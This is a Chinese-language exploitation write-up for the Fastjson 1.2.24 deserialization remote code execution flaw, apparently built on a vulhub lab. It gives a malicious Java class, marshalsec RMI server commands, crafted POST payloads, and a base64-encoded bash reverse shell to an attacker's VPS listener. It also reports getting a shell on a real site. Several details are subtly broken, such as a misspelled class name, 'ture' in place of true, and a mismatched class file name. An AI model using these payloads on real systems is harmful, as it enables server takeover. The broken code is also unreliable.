01 漏洞描述
Fastjason是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。由于其序列化jason文件速度快且中文文档非常全面,所以为国内广大开发人员所应用。
fastjson在解析json的过程中,支持使用@type字段来指定反序列化的类型,并调用该类的set/get方法来访问属性,当组件开启了autotype功能并且反序列化不可信数据时,入侵者可以构造数据, 使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,即可构造出一些恶意利用链。由于1.2.24版本及之前版本的fast json对传入的参数没有检查过滤 只要再 “b”: { }内就会被反序列化。
02 影响范围
fastjson <=1.2.24
03 验证方式
在vulhub起靶场环境,访问页面后内容如下即为环境搭建成功。
测试fastjson成功请求的数据包,如下图所示
使用Burp抓包,将GET请求方式更改为POST请求,并随便输入一个json格式数据,发送数据包使其报错,看回显有com.alibaba.fastjson.JSON 特征
这里使用dnslog做漏洞进一步验证:
1、本地javac进行编译,生成class文件fastjson.class
import java.lang.Runtime;
import java.lang.Process;
public class fastjson{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/sh", "ping user.`whoami`.dnslog平台生成的网址"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
2、本地使用python开启http服务,将生成的fastjson.class文件放置http目录下
3、使用marshalsec开启rmi服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://xx.xx.xx.xx:8000/#fastjson" 9999
##“http://python开启的http服务IP:PORT/#恶意class文件类名 自定义端口
4、构造恶意请求包,使得受入侵服务器向DNS服务器发起请求
POST / HTTP/1.1
Host: IP:PORT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetlmpl",
"dataSourceName":"rmi://开启rmi服务的ip:prot/恶意类名",
"autoCommit":ture
}
}
5、在dnslog查看到访问记录证明漏洞存在
04 利用方式
使用Fastjson远程代码执行漏洞进行反弹shell
1、本地javac进行编译,生成class文件Exploit.class
import java.lang.Runtime;
import java.lang.Process;
public class fastjson{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash", "-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9JUC9QT1JUIDA+JjE=}|{base64,-d}|{bash,-i}"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// YmFzaCAtaSA+JiAvZGV2L3RjcC9JUC9QT1JUIDA+JjE= 为base64编码的IP和PORT
}
}
}
2、本地使用python开启http服务,将生成的Exploit.class文件放置http目录下
3、使用marshalsec开启rmi服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://xx.xx.xx.xx:8000/#fastjson" 9999
##“http://python开启的http服务IP:PORT/#恶意class文件类名 自定义端口
4、在VPS上启用nc,监听8888端口
5、构造恶意请求包,使得受入侵服务器回弹shell
POST / HTTP/1.1
Host: IP:PORT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetlmpl",
"dataSourceName":"rmi://开启rmi服务的ip:prot/恶意类名",
"autoCommit":ture
}
}
05 实战案例
某测试发现站点fastjson在解析json数据,进行dnslog验证后发现漏洞问题存在,进而构造恶意代码获取服务器shell,详情如下图所示:
06 修复方案
请联系厂商获取修复后的官方版:https://github.com/alibaba/fastjson/releases